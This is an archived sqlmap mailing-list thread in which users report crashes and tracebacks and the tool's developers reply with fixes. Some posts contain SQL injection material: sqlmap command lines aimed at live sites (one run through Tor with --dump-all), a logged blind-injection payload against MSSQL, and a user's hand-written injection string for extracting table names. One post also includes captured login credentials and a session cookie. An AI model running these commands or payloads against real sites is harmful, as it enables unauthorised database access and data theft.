sqlmap-users — sqlmap users mailing list

[sqlmap-users] Problem/confusion with wildcard in url

[Gianluca B. <g...@br...>]

Hello,
if I provide an URL with * like this:
http://target.com/path/to/index.php?id=12*&action=add&path=/path/to/&imgIndex=

sqlmap don't recognize valid get param in the urls:

[15:34:23] [WARNING] you've provided target url without any GET parameters
(e.g. www.site.com/article.php?id=1) and without providing any POST
parameters through --data option
do you want to try URI injections in the target url itself? [Y/n/q]

But looks like it inject correctly where I placed the wildcard.

Instead without * everything is working fine as usual.
So I am not sure if it's this some sort of bug or it's me misusing the *
option (i.e. if the url is not rewrote I should just use -p id).

Thanks,
Gianluca Brindisi

Re: [sqlmap-users] Exploit Referrer

[Miroslav S. <mir...@gm...>]

Hi Miguel.

Thank you for your report. Find it fixed with the latest commit (r4648).

Kind regards,
Miroslav Stampar

On Wed, Jan 4, 2012 at 3:23 PM, Miguel Lopes <the...@gm...> wrote:

> Failed at the first step... the update. Thanks
> I have now updated and tried to pass the config file but it gives an error
> even with the default one.
>
> ./sqlmap.py -c sqlmap.conf -b
>
>     sqlmap/1.0-dev (r4647) - automatic SQL injection and database takeover
> tool
>     http://www.sqlmap.org
>
> [*] starting at: 14:12:47
>
>
> [14:12:47] [CRITICAL] unhandled exception in sqlmap/1.0-dev (r4647), retry
> your run with the latest development version from the Subversion
> repository. If the exception persists, please send by e-mail to
> sql...@li... the following text and any information
> required to reproduce the bug. The developers will try to reproduce the
> bug, fix it accordingly and get back to you.
> sqlmap version: 1.0-dev (r4647)
> Python version: 2.6.5
> Operating system: posix
> Command line: ./sqlmap.py -c sqlmap.conf
> Technique: None
> Back-end DBMS: None (identified)
> Traceback (most recent call last):
>   File "./sqlmap.py", line 74, in main
>     init(cmdLineOptions)
>   File "/root/.local/share/Trash/files/sqlmap/lib/core/option.py", line
> 1884, in init
>     __mergeOptions(inputOptions, overrideOptions)
>   File "/root/.local/share/Trash/files/sqlmap/lib/core/option.py", line
> 1664, in __mergeOptions
>     configFileParser(inputOptions.configFile)
>   File "/root/.local/share/Trash/files/sqlmap/lib/parse/configfile.py",
> line 101, in configFileParser
>     configFileProxy(family, option, boolean, integer)
>   File "/root/.local/share/Trash/files/sqlmap/lib/parse/configfile.py",
> line 37, in configFileProxy
>     value = config.getint(section, option)
>   File "/usr/lib/python2.6/ConfigParser.py", line 340, in getint
>     return self._get(section, int, option)
>   File "/usr/lib/python2.6/ConfigParser.py", line 337, in _get
>     return conv(self.get(section, option))
> ValueError: invalid literal for int() with base 10: ''
>
> [*] shutting down at: 14:12:47
>
>
>
> A 2012/01/03, às 17:17, Miroslav Stampar escreveu:
>
> Hi Miguel.
>
> Please update to the latest revision (r4644) and use: -p referer
>
> Kind regards,
> Miroslav Stampar
>
> On Tue, Jan 3, 2012 at 3:35 PM, Miguel Lopes <the...@gm...>wrote:
>
>> Hi list,
>> I have a client with a SQLi on the referrer is it possible to exploit it
>> with sqlmap without changing the source? or i do have to change some code?
>>
>> Thanks in advance,
>> Miguel Lopes
>>
>> ------------------------------------------------------------------------------
>> Write once. Port to many.
>> Get the SDK and tools to simplify cross-platform app development. Create
>> new or port existing apps to sell to consumers worldwide. Explore the
>> Intel AppUpSM program developer opportunity. appdeveloper.intel.com/join
>> http://p.sf.net/sfu/intel-appdev
>> _______________________________________________
>> sqlmap-users mailing list
>> sql...@li...
>> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>>
>
>
>
> --
> Miroslav Stampar
> http://about.me/stamparm
>
>
>


-- 
Miroslav Stampar
http://about.me/stamparm

Re: [sqlmap-users] Exploit Referrer

[Miguel L. <the...@gm...>]

Failed at the first step... the update. Thanks
I have now updated and tried to pass the config file but it gives an error even with the default one.

./sqlmap.py -c sqlmap.conf -b

    sqlmap/1.0-dev (r4647) - automatic SQL injection and database takeover tool
    http://www.sqlmap.org

[*] starting at: 14:12:47


[14:12:47] [CRITICAL] unhandled exception in sqlmap/1.0-dev (r4647), retry your run with the latest development version from the Subversion repository. If the exception persists, please send by e-mail to sql...@li... the following text and any information required to reproduce the bug. The developers will try to reproduce the bug, fix it accordingly and get back to you.
sqlmap version: 1.0-dev (r4647)
Python version: 2.6.5
Operating system: posix
Command line: ./sqlmap.py -c sqlmap.conf
Technique: None
Back-end DBMS: None (identified)
Traceback (most recent call last):
  File "./sqlmap.py", line 74, in main
    init(cmdLineOptions)
  File "/root/.local/share/Trash/files/sqlmap/lib/core/option.py", line 1884, in init
    __mergeOptions(inputOptions, overrideOptions)
  File "/root/.local/share/Trash/files/sqlmap/lib/core/option.py", line 1664, in __mergeOptions
    configFileParser(inputOptions.configFile)
  File "/root/.local/share/Trash/files/sqlmap/lib/parse/configfile.py", line 101, in configFileParser
    configFileProxy(family, option, boolean, integer)
  File "/root/.local/share/Trash/files/sqlmap/lib/parse/configfile.py", line 37, in configFileProxy
    value = config.getint(section, option)
  File "/usr/lib/python2.6/ConfigParser.py", line 340, in getint
    return self._get(section, int, option)
  File "/usr/lib/python2.6/ConfigParser.py", line 337, in _get
    return conv(self.get(section, option))
ValueError: invalid literal for int() with base 10: ''

[*] shutting down at: 14:12:47



A 2012/01/03, às 17:17, Miroslav Stampar escreveu:

> Hi Miguel.
> 
> Please update to the latest revision (r4644) and use: -p referer
> 
> Kind regards,
> Miroslav Stampar
> 
> On Tue, Jan 3, 2012 at 3:35 PM, Miguel Lopes <the...@gm...> wrote:
> Hi list,
> I have a client with a SQLi on the referrer is it possible to exploit it with sqlmap without changing the source? or i do have to change some code?
> 
> Thanks in advance,
> Miguel Lopes
> ------------------------------------------------------------------------------
> Write once. Port to many.
> Get the SDK and tools to simplify cross-platform app development. Create
> new or port existing apps to sell to consumers worldwide. Explore the
> Intel AppUpSM program developer opportunity. appdeveloper.intel.com/join
> http://p.sf.net/sfu/intel-appdev
> _______________________________________________
> sqlmap-users mailing list
> sql...@li...
> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
> 
> 
> 
> -- 
> Miroslav Stampar
> http://about.me/stamparm

Re: [sqlmap-users] Blind SQL with Login and Cookie?

[Miroslav S. <mir...@gm...>]

Hi Moritz.

Please use proper/valud "cookie" value for doing it.

You've used:
--cookie="c7cf953095d6fb6587fd8c625c1ef9b8"

while you most probably wanted to do this:
--cookie="PHPSESSID=c7cf953095d6fb6587fd8c625c1ef9b8"

Also, you'll be able to retrieve cookie value after you login properly with
your regular Internet browser.

Kind regards,
Miroslav Stampar

On Wed, Jan 4, 2012 at 2:58 AM, Moritz Friedmann <Mo...@gm...> wrote:

>  hi,
>
> i want to check a site of my friend for vnl. i found a leak, but to come
> there you have to login. that's my problem: how can i scan this site with
> the login datas and the cookie?
>
> here is the post data:
> http://www.site.com/pages/logincheck.php
>
> POST /pages/logincheck.php HTTP/1.1
> Host: www.site.com
> User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:8.0.1) Gecko/20100101
> Firefox/8.0.1
> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
> Accept-Language: de,en-us;q=0.7,en;q=0.3
> Accept-Encoding: gzip, deflate
> Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
> Connection: keep-alive
> Referer: http://www.site.com/logoutok.php
> Cookie: PHPSESSID=d4bb374119579bcb8b0a5b181219789c
> Content-Type: application/x-www-form-urlencoded
> Content-Length: 82
>
> PHPSESSID=d4bb374119579bcb8b0a5b181219789c&username=moe&passwort=6876b24e5&x=0&y=0
> HTTP/1.1 302 Moved Temporarily
> Date: Mon, 02 Jan 2012 18:58:17 GMT
> Server: Apache
> X-Powered-By: PHP/5.2.17-0.dotdeb.0
> Expires: Thu, 19 Nov 1981 08:52:00 GMT
> Cache-Control: no-store, no-cache, must-revalidate, post-check=0,
> pre-check=0
> Pragma: no-cache
> Location: ../login.php?err&n=moe
> Content-Length: 0
> Keep-Alive: timeout=15, max=83
> Connection: Keep-Alive
> Content-Type: text/html
> ------------------------------
>
> and here is my command: python ./sqlmap.py -u "
> http://www.site.com/community/profil/?id=1&PHPSESSID=c7cf953095d6fb6587fd8c625c1ef9b8&username=moe&passwort=68b76d24e5&x=0&y=0"
> --cookie "c7cf953095d6fb6587fd8c625c1ef9b8" -p "id" --dbs
>
>
> thanks in advance!
>
>
>
> --
> Empfehlen Sie GMX DSL Ihren Freunden und Bekannten und wir
> belohnen Sie mit bis zu 50,- Euro! https://freundschaftswerbung.gmx.de
>
>
> ------------------------------------------------------------------------------
> Ridiculously easy VDI. With Citrix VDI-in-a-Box, you don't need a complex
> infrastructure or vast IT resources to deliver seamless, secure access to
> virtual desktops. With this all-in-one solution, easily deploy virtual
> desktops for less than the cost of PCs and save 60% on VDI infrastructure
> costs. Try it free! http://p.sf.net/sfu/Citrix-VDIinabox
> _______________________________________________
> sqlmap-users mailing list
> sql...@li...
> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>
>


-- 
Miroslav Stampar
http://about.me/stamparm

Re: [sqlmap-users] Blind SQL with Login and Cookie?

[<mau...@gm...>]

You can login with your browser, get the session cookie and then pass that as a parameter to sqlmap.

Br
Enviado desde mi BlackBerry de Movistar

-----Original Message-----
From: "Moritz Friedmann" <Mo...@gm...>
Date: Wed, 04 Jan 2012 02:58:48 
To: <sql...@li...>
Subject: [sqlmap-users] Blind SQL with Login and Cookie?

------------------------------------------------------------------------------
Ridiculously easy VDI. With Citrix VDI-in-a-Box, you don't need a complex
infrastructure or vast IT resources to deliver seamless, secure access to
virtual desktops. With this all-in-one solution, easily deploy virtual 
desktops for less than the cost of PCs and save 60% on VDI infrastructure 
costs. Try it free! http://p.sf.net/sfu/Citrix-VDIinabox

Re: [sqlmap-users] Can't dump tables from an mssql server

[Miroslav S. <mir...@gm...>]

Hi Cats.

Please, wait for day or two and you'll hopefully be able to use sqlmap in
that case too.

Kind regards,
Miroslav Stampar

On Mon, Jan 2, 2012 at 8:01 PM, cats <du...@al...> wrote:

> I can dump users and databases, but not the tables in any database.
>
> Here's some output from sqlmap:
>
> Revision: 4643
>
> [18:58:04] [INFO] the back-end DBMS is Microsoft SQL Server
> web server operating system: Windows Vista
> web application technology: ASP.NET, Microsoft IIS 7.0
> back-end DBMS: Microsoft SQL Server 2008
>
> [18:58:04] [INFO] fetching tables for database: productcatalog
> [18:58:04] [INFO] fetching number of tables for database
> 'productcatalog'
> [18:58:04] [PAYLOAD] 99047' AND ASCII(SUBSTRING((SELECT
> ISNULL(CAST(LTRIM(STR(COUNT(name))) AS NVARCHAR(4000)),CHAR(32)) FROM
> eservice_productcatalog..sysobjects WHERE xtype IN
> (CHAR(117),CHAR(118))),1,1)) > 51 AND 'cfIC'='cfIC
> [18:58:05] [DEBUG] reflective value found and filtered out
>
> It just goes on like this and simply spits out a "retrieved" which is
> empty, and it will continue doing so until it has reached the length of
> the current table. Thus the result will be something like:
>
> dbo.""
> dbo.""
> dbo.""
>
> ...and so on
>
> I wrote a Perl script that could successfully extract the tables from my
> database, using the following injection string.
>
> Clean version of the injection:
>
> AND (
> CASE
> WHEN SUBSTRING((
> SELECT TOP 1 TABLE_NAME FROM (
> SELECT TOP ' . $i . ' TABLE_NAME FROM
> INFORMATION_SCHEMA.TABLES WHERE TABLE_CATALOG=\'' . $dbname . '\'
> ORDER BY TABLE_NAME ASC) sq ORDER BY TABLE_NAME DESC),' . $nc .
> ',1)=char(' . ord(substr($chars,$c,1)) . ') THEN 1 ELSE 2 END)=\'1
>
> So the important part is "SELECT TABLE_NAME FROM
> INFORMATION_SCHEMA.TABLES", as "SELECT name FROM dbname..sysobjects
> WHERE xtype = 'U'" Doesn't seem to work for me.
>
> Has anyone else had this issue?
> Am I doing something wrong, or is this a bug in sqlmap?
> Or maybe it's the configuration on my mssql server?
>
> Anyway, advice is welcome :-)
>
> Cheers!
>
>
>
> ------------------------------------------------------------------------------
> Ridiculously easy VDI. With Citrix VDI-in-a-Box, you don't need a complex
> infrastructure or vast IT resources to deliver seamless, secure access to
> virtual desktops. With this all-in-one solution, easily deploy virtual
> desktops for less than the cost of PCs and save 60% on VDI infrastructure
> costs. Try it free! http://p.sf.net/sfu/Citrix-VDIinabox
> _______________________________________________
> sqlmap-users mailing list
> sql...@li...
> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>



-- 
Miroslav Stampar
http://about.me/stamparm

[sqlmap-users] Blind SQL with Login and Cookie?

[Moritz F. <Mo...@gm...>]

hi,
 
 i want to check a site of my friend for vnl. i found a leak, but to come 
there you have to login. that's my problem: how can i scan this site with 
the login datas and the cookie?

here is the post data:
        http://www.site.com/pages/logincheck.php
 
 POST /pages/logincheck.php HTTP/1.1
 Host: www.site.com
 User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:8.0.1) Gecko/20100101 
Firefox/8.0.1
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 Accept-Language: de,en-us;q=0.7,en;q=0.3
 Accept-Encoding: gzip, deflate
 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
 Connection: keep-alive
 Referer: http://www.site.com/logoutok.php
 Cookie: PHPSESSID=d4bb374119579bcb8b0a5b181219789c
 Content-Type: application/x-www-form-urlencoded
 Content-Length: 82
 
PHPSESSID=d4bb374119579bcb8b0a5b181219789c&username=moe&passwort=6876b24e5&x=0&y=0
 HTTP/1.1 302 Moved Temporarily
 Date: Mon, 02 Jan 2012 18:58:17 GMT
 Server: Apache
 X-Powered-By: PHP/5.2.17-0.dotdeb.0
 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, 
pre-check=0
 Pragma: no-cache
 Location: ../login.php?err&n=moe
 Content-Length: 0
 Keep-Alive: timeout=15, max=83
 Connection: Keep-Alive
 Content-Type: text/html                 				 				        
and here is my command: python ./sqlmap.py -u  
"http://www.site.com/community/profil/?id=1&PHPSESSID=c7cf953095d6fb6587fd8c625c1ef9b8&username=moe&passwort=68b76d24e5&x=0&y=0" 
 --cookie "c7cf953095d6fb6587fd8c625c1ef9b8" -p "id" --dbs


thanks in advance!    
-- 
Empfehlen Sie GMX DSL Ihren Freunden und Bekannten und wir
belohnen Sie mit bis zu 50,- Euro! https://freundschaftswerbung.gmx.de

Re: [sqlmap-users] traceback

[Miroslav S. <mir...@gm...>]

Hi Brandon.

Thank you for your report. Find it fixed with the latest commit (r4646).

Kind regards,
Miroslav Stampar

On Tue, Jan 3, 2012 at 10:33 PM, Brandon Perry <bpe...@gm...>wrote:

> Traceback (most recent call last):
>  File "/root/tools/sqlmap/_sqlmap.py", line 83, in main
>    start()
>  File "/root/tools/sqlmap/lib/controller/controller.py", line 346, in start
>    checkNullConnection()
>  File "/root/tools/sqlmap/lib/controller/checks.py", line 916, in
> checkNullConnection
>    page, headers, _ = Request.getPage(method=HTTPMETHOD.HEAD)
>  File "/root/tools/sqlmap/lib/request/connect.py", line 298, in getPage
>    requestMsg += "\n\n%s" % post
> UnicodeDecodeError: 'ascii' codec can't decode byte 0xef in position
> 103: ordinal not in range(128)
>
> --
> http://volatile-minds.blogspot.com -- blog
> http://www.volatileminds.net -- website
>
>
> ------------------------------------------------------------------------------
> Write once. Port to many.
> Get the SDK and tools to simplify cross-platform app development. Create
> new or port existing apps to sell to consumers worldwide. Explore the
> Intel AppUpSM program developer opportunity. appdeveloper.intel.com/join
> http://p.sf.net/sfu/intel-appdev
> _______________________________________________
> sqlmap-users mailing list
> sql...@li...
> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>



-- 
Miroslav Stampar
http://about.me/stamparm

[sqlmap-users] traceback

[Brandon P. <bpe...@gm...>]

Traceback (most recent call last):
  File "/root/tools/sqlmap/_sqlmap.py", line 83, in main
    start()
  File "/root/tools/sqlmap/lib/controller/controller.py", line 346, in start
    checkNullConnection()
  File "/root/tools/sqlmap/lib/controller/checks.py", line 916, in
checkNullConnection
    page, headers, _ = Request.getPage(method=HTTPMETHOD.HEAD)
  File "/root/tools/sqlmap/lib/request/connect.py", line 298, in getPage
    requestMsg += "\n\n%s" % post
UnicodeDecodeError: 'ascii' codec can't decode byte 0xef in position
103: ordinal not in range(128)

-- 
http://volatile-minds.blogspot.com -- blog
http://www.volatileminds.net -- website

Re: [sqlmap-users] Exploit Referrer

[Miroslav S. <mir...@gm...>]

Hi Miguel.

Please update to the latest revision (r4644) and use: -p referer

Kind regards,
Miroslav Stampar

On Tue, Jan 3, 2012 at 3:35 PM, Miguel Lopes <the...@gm...> wrote:

> Hi list,
> I have a client with a SQLi on the referrer is it possible to exploit it
> with sqlmap without changing the source? or i do have to change some code?
>
> Thanks in advance,
> Miguel Lopes
>
> ------------------------------------------------------------------------------
> Write once. Port to many.
> Get the SDK and tools to simplify cross-platform app development. Create
> new or port existing apps to sell to consumers worldwide. Explore the
> Intel AppUpSM program developer opportunity. appdeveloper.intel.com/join
> http://p.sf.net/sfu/intel-appdev
> _______________________________________________
> sqlmap-users mailing list
> sql...@li...
> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>



-- 
Miroslav Stampar
http://about.me/stamparm

[sqlmap-users] Exploit Referrer

[Miguel L. <the...@gm...>]

Hi list,
I have a client with a SQLi on the referrer is it possible to exploit it with sqlmap without changing the source? or i do have to change some code?

Thanks in advance,
Miguel Lopes

[sqlmap-users] Can't dump tables from an mssql server

[cats <du...@al...>]

I can dump users and databases, but not the tables in any database.

Here's some output from sqlmap:

Revision: 4643

[18:58:04] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows Vista
web application technology: ASP.NET, Microsoft IIS 7.0
back-end DBMS: Microsoft SQL Server 2008

[18:58:04] [INFO] fetching tables for database: productcatalog
[18:58:04] [INFO] fetching number of tables for database
'productcatalog'
[18:58:04] [PAYLOAD] 99047' AND ASCII(SUBSTRING((SELECT
ISNULL(CAST(LTRIM(STR(COUNT(name))) AS NVARCHAR(4000)),CHAR(32)) FROM
eservice_productcatalog..sysobjects WHERE xtype IN
(CHAR(117),CHAR(118))),1,1)) > 51 AND 'cfIC'='cfIC
[18:58:05] [DEBUG] reflective value found and filtered out

It just goes on like this and simply spits out a "retrieved" which is
empty, and it will continue doing so until it has reached the length of
the current table. Thus the result will be something like:

dbo.""
dbo.""
dbo.""

...and so on

I wrote a Perl script that could successfully extract the tables from my
database, using the following injection string.

Clean version of the injection:

AND (
CASE 
WHEN SUBSTRING((
SELECT TOP 1 TABLE_NAME FROM (
SELECT TOP ' . $i . ' TABLE_NAME FROM
INFORMATION_SCHEMA.TABLES WHERE TABLE_CATALOG=\'' . $dbname . '\'
ORDER BY TABLE_NAME ASC) sq ORDER BY TABLE_NAME DESC),' . $nc .
',1)=char(' . ord(substr($chars,$c,1)) . ') THEN 1 ELSE 2 END)=\'1

So the important part is "SELECT TABLE_NAME FROM
INFORMATION_SCHEMA.TABLES", as "SELECT name FROM dbname..sysobjects
WHERE xtype = 'U'" Doesn't seem to work for me.

Has anyone else had this issue?
Am I doing something wrong, or is this a bug in sqlmap?
Or maybe it's the configuration on my mssql server?

Anyway, advice is welcome :-)

Cheers!

Re: [sqlmap-users] sqlmap encode/decode/unicode bug

[Miroslav S. <mir...@gm...>]

Hi Alexander.

Thank you for your report. This should be hopefully fixed with the latest
commit (r4642).

Kind regards,
Miroslav Stampar

On Thu, Dec 29, 2011 at 2:10 AM, Alexander Rigbo <al...@ri...> wrote:

> Hello,
>
> I got this error recently:
>
> sqlmap version: 1.0-dev (r4638)
> Python version: 2.6.6
> Operating system: posix
> Command line: ./sqlmap.py -u
> ******************************************************* --columns
> Technique: UNION
> Back-end DBMS: MySQL (fingerprinted)
> Traceback (most recent call last):
>  File "/home/alex/sqlmap-dev/_sqlmap.py", line 83, in main
>    start()
>  File "/home/alex/sqlmap-dev/lib/controller/controller.py", line 588,
> in start
>    action()
>  File "/home/alex/sqlmap-dev/lib/controller/action.py", line 100, in
> action
>    conf.dumper.dbTableColumns(conf.dbmsHandler.getColumns())
>  File "/home/alex/sqlmap-dev/plugins/generic/enumeration.py", line
> 1138, in getColumns
>    value = inject.getValue(query, blind=False)
>  File "/home/alex/sqlmap-dev/lib/request/inject.py", line 433, in
> getValue
>    value = __goInband(query, expected, unique, resumeValue, unpack,
> dump)
>  File "/home/alex/sqlmap-dev/lib/request/inject.py", line 381, in
> __goInband
>    output = unionUse(expression, unpack=unpack, dump=dump)
>  File "/home/alex/sqlmap-dev/lib/techniques/union/use.py", line 239, in
> unionUse
>    output = __oneShotUnionUse(countedExpression, unpack)
>  File "/home/alex/sqlmap-dev/lib/techniques/union/use.py", line 59, in
> __oneShotUnionUse
>    injExpression = unescaper.unescape(agent.concatQuery(expression,
> unpack))
>  File "/home/alex/sqlmap-dev/lib/core/unescaper.py", line 28, in
> unescape
>    return self[identifiedDbms](expression, quote=quote)
>  File "/home/alex/sqlmap-dev/plugins/dbms/mysql/syntax.py", line 25, in
> unescape
>    unescaped = unescaped.replace(item, "0x%s" %
> binascii.hexlify(item.strip("'")))
> UnicodeEncodeError: 'ascii' codec can't encode character u'\xe4' in
> position 1: ordinal not in range(128)
>
> I would assume that the problem is that the table whose columns it was
> trying to fetch contains an 'ä' (&auml; in html).
>
> This is the last line before the error dump:
>
> [01:43:06] [INFO] fetching columns for table '`källa`' on database
> ''
>
> The ä is an 'ä' in unicode written to the screen using ISO8859-1.
>
> Hope you have enough info, otherwise I'd be happy to supply you with
> more :-)
>
> Best regards,
> Alexander
>
>
>
> ------------------------------------------------------------------------------
> Ridiculously easy VDI. With Citrix VDI-in-a-Box, you don't need a complex
> infrastructure or vast IT resources to deliver seamless, secure access to
> virtual desktops. With this all-in-one solution, easily deploy virtual
> desktops for less than the cost of PCs and save 60% on VDI infrastructure
> costs. Try it free! http://p.sf.net/sfu/Citrix-VDIinabox
> _______________________________________________
> sqlmap-users mailing list
> sql...@li...
> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>



-- 
Miroslav Stampar
http://about.me/stamparm

Re: [sqlmap-users] Error in 1.0-dev (r4577)

[Bernardo D. A. G. <ber...@gm...>]

Jacco,

This has been fixed a few weeks ago.
Thanks for reporting.

Bernardo


On 8 December 2011 12:56, Jacco van Tuijl <jac...@gm...> wrote:
> running sqlmap in backtrack 5 it gives me the following error:
>
> sqlmap version: 1.0-dev (r4577)
> Python version: 2.6.5
> Operating system: posix
> Command line: sqlmap.py -u
> ******************************************************************** --forms
> --tor --random-agent --dump-all --exclude-sys --level=3 --risk=3 -o
> Technique: None
> Back-end DBMS: None (identified)
> Traceback (most recent call last):
>   File "/pentest/database/sqlmap/sqlmap/_sqlmap.py", line 77, in main
>     init(cmdLineOptions)
>   File "/pentest/database/sqlmap/sqlmap/lib/core/option.py", line 1857, in
> init
>     __findPageForms()
>   File "/pentest/database/sqlmap/sqlmap/lib/core/option.py", line 540, in
> __findPageForms
>     findPageForms(page, conf.url, True, True)
>   File "/pentest/database/sqlmap/sqlmap/lib/core/common.py", line 3117, in
> findPageForms
>     item.selected = True
>   File "/pentest/database/sqlmap/sqlmap/extra/clientform/clientform.py",
> line 1653, in __setattr__
>     self._control._set_selected_state(self, value)
>   File "/pentest/database/sqlmap/sqlmap/extra/clientform/clientform.py",
> line 1917, in _set_selected_state
>     raise AttributeError("control '%s' is disabled" % self.name)
> AttributeError: control
> 'ctl00$ctl00$SiteMainContent$MainContentLeft$ctl01$ctl00$ListControlRender$VersionFilter'
> is disabled
>
> [*] shutting down at 07:39:51
>
>
> ------------------------------------------------------------------------------
> Cloud Services Checklist: Pricing and Packaging Optimization
> This white paper is intended to serve as a reference, checklist and point of
> discussion for anyone considering optimizing the pricing and packaging model
> of a cloud services business. Read Now!
> http://www.accelacomm.com/jaw/sfnl/114/51491232/
> _______________________________________________
> sqlmap-users mailing list
> sql...@li...
> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>



-- 
Bernardo Damele A. G.

E-mail / Jabber: bernardo.damele (at) gmail.com
Mobile: +447788962949 (UK 07788962949)
PGP Key ID: Unavailable

Re: [sqlmap-users] error

[Duarte S. <dua...@se...>]

Hi,

try the following command before executing the update

$ svn cleanup

Regards,
Duarte Silva

On Saturday 31 December 2011 18:27:49 IRC Boy wrote:
> hey , i got some error. :
> 
> 
> 
> 
> root@bt:# ./sqlmap.py --update
> 
>     sqlmap/1.0-dev (r4009) - automatic SQL injection and database takeover
> tool
>     http://sqlmap.sourceforge.net
> 
> [!] Legal Disclaimer: usage of sqlmap for attacking web servers without
> prior mutual consent can be considered as an illegal activity. it is the
> final user's responsibility to obey all applicable local, state and federal
> laws. authors assume no liability and are not responsible for any misuse or
> damage caused by this program.
> 
> [*] starting at: 18:26:08
> 
> [18:26:08] [INFO] updating sqlmap to latest development version from the
> subversion repository
> 
> [18:26:08] [CRITICAL] unhandled exception in sqlmap/1.0-dev (r4009), retry
> your run with the latest development version from the Subversion
> repository. If the exception persists, please send by e-mail to
> sql...@li... the following text and any information
> required to reproduce the bug. The developers will try to reproduce the
> bug, fix it accordingly and get back to you.
> sqlmap version: 1.0-dev (r4009)
> Python version: 2.6.5
> Operating system: posix
> Command line: ./sqlmap.py --cleanup --update
> Technique: None
> Back-end DBMS: None (identified)
> Traceback (most recent call last):
>   File "./sqlmap.py", line 78, in main
>     init(cmdLineOptions)
>   File "/pentest/database/sqlmap/lib/core/option.py", line 1752, in init
>     update()
>   File "/pentest/database/sqlmap/lib/core/update.py", line 71, in update
>     client.update(rootDir)
> ClientError: Working copy '/pentest/database/sqlmap' locked
> 
> [*] shutting down at: 18:26:08
> 
> 
> 
> how to solve it ?

Re: [sqlmap-users] [CRITICAL] unhandled exception in sqlmap/1.0-dev (r4638),

[Bernardo D. A. G. <ber...@gm...>]

Jacco,

This should be fixed now. Thanks for reporting.

Bernardo


On 29 December 2011 12:06, Jacco van Tuijl <jac...@gm...> wrote:
> python sqlmap.py --tor --check-tor -u
> "http://www.xxxxxxxxx.com/SRVS/CGI-BIN/WEBCGI.EXE/,/?St=458*,E=0000000000330319488*,K=6831*,Sxi=16*,Question4332*=obj%284332*%29:obj%284343*%29,t=startup"
> --random-agent --schema
>
> [06:53:53] [INFO] testing if URI parameter '#5*' is dynamic
> [06:53:53] [CRITICAL] unhandled exception in sqlmap/1.0-dev (r4638), retry
> your run with the latest development version from the Subversion repository.
> If the exception persists, please send by e-mail to
> sql...@li... the following text and any information
> required to reproduce the bug. The developers will try to reproduce the bug,
> fix it accordingly and get back to you.
> sqlmap version: 1.0-dev (r4638)
> Python version: 2.6.5
> Operating system: posix
> Command line: sqlmap.py --tor --check-tor -u
> ******************************************************************************************************************************************************
> --random-agent --schema
> Technique: UNION
> Back-end DBMS: None (identified)
> Traceback (most recent call last):
>   File "/pentest/database/sqlmap/sqlmap/_sqlmap.py", line 83, in main
>     start()
>   File "/pentest/database/sqlmap/sqlmap/lib/controller/controller.py", line
> 463, in start
>     if not checkDynParam(place, parameter, value):
>   File "/pentest/database/sqlmap/sqlmap/lib/controller/checks.py", line 664,
> in checkDynParam
>     dynResult = Request.queryPage(payload, place, raise404=False)
>   File "/pentest/database/sqlmap/sqlmap/lib/request/connect.py", line 572,
> in queryPage
>     if place != PLACE.URI or (value and '?' in value and value.find('?') <
> value.find(payload)):
> TypeError: coercing to Unicode: need string or buffer, NoneType found
>
> ------------------------------------------------------------------------------
> Ridiculously easy VDI. With Citrix VDI-in-a-Box, you don't need a complex
> infrastructure or vast IT resources to deliver seamless, secure access to
> virtual desktops. With this all-in-one solution, easily deploy virtual
> desktops for less than the cost of PCs and save 60% on VDI infrastructure
> costs. Try it free! http://p.sf.net/sfu/Citrix-VDIinabox
> _______________________________________________
> sqlmap-users mailing list
> sql...@li...
> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>



-- 
Bernardo Damele A. G.

E-mail / Jabber: bernardo.damele (at) gmail.com
Mobile: +447788962949 (UK 07788962949)
PGP Key ID: Unavailable

[sqlmap-users] error

[IRC B. <xox...@gm...>]

hey , i got some error. :




root@bt:# ./sqlmap.py --update

    sqlmap/1.0-dev (r4009) - automatic SQL injection and database takeover
tool
    http://sqlmap.sourceforge.net

[!] Legal Disclaimer: usage of sqlmap for attacking web servers without
prior mutual consent can be considered as an illegal activity. it is the
final user's responsibility to obey all applicable local, state and federal
laws. authors assume no liability and are not responsible for any misuse or
damage caused by this program.

[*] starting at: 18:26:08

[18:26:08] [INFO] updating sqlmap to latest development version from the
subversion repository

[18:26:08] [CRITICAL] unhandled exception in sqlmap/1.0-dev (r4009), retry
your run with the latest development version from the Subversion
repository. If the exception persists, please send by e-mail to
sql...@li... the following text and any information
required to reproduce the bug. The developers will try to reproduce the
bug, fix it accordingly and get back to you.
sqlmap version: 1.0-dev (r4009)
Python version: 2.6.5
Operating system: posix
Command line: ./sqlmap.py --cleanup --update
Technique: None
Back-end DBMS: None (identified)
Traceback (most recent call last):
  File "./sqlmap.py", line 78, in main
    init(cmdLineOptions)
  File "/pentest/database/sqlmap/lib/core/option.py", line 1752, in init
    update()
  File "/pentest/database/sqlmap/lib/core/update.py", line 71, in update
    client.update(rootDir)
ClientError: Working copy '/pentest/database/sqlmap' locked

[*] shutting down at: 18:26:08



how to solve it ?

Re: [sqlmap-users] Whee, more trace

[Miroslav S. <mir...@gm...>]

Hi Brandon.

Thank you for your report and find it fixed with the latest commit.

Kind regards,
Miroslav Stampar

On Fri, Dec 30, 2011 at 4:34 PM, Brandon Perry <bpe...@gm...>wrote:

> [09:33:24] [CRITICAL] unhandled exception in sqlmap/1.0-dev (r4640),
> retry your run with the latest development version from the Subversion
> repository. If the exception persists, please send by e-mail to
> sql...@li... the following text and any
> information required to reproduce the bug. The developers will try to
> reproduce the bug, fix it accordingly and get back to you.sqlmap
> version: 1.0-dev (r4640)Python version: 2.7.2+Operating system:
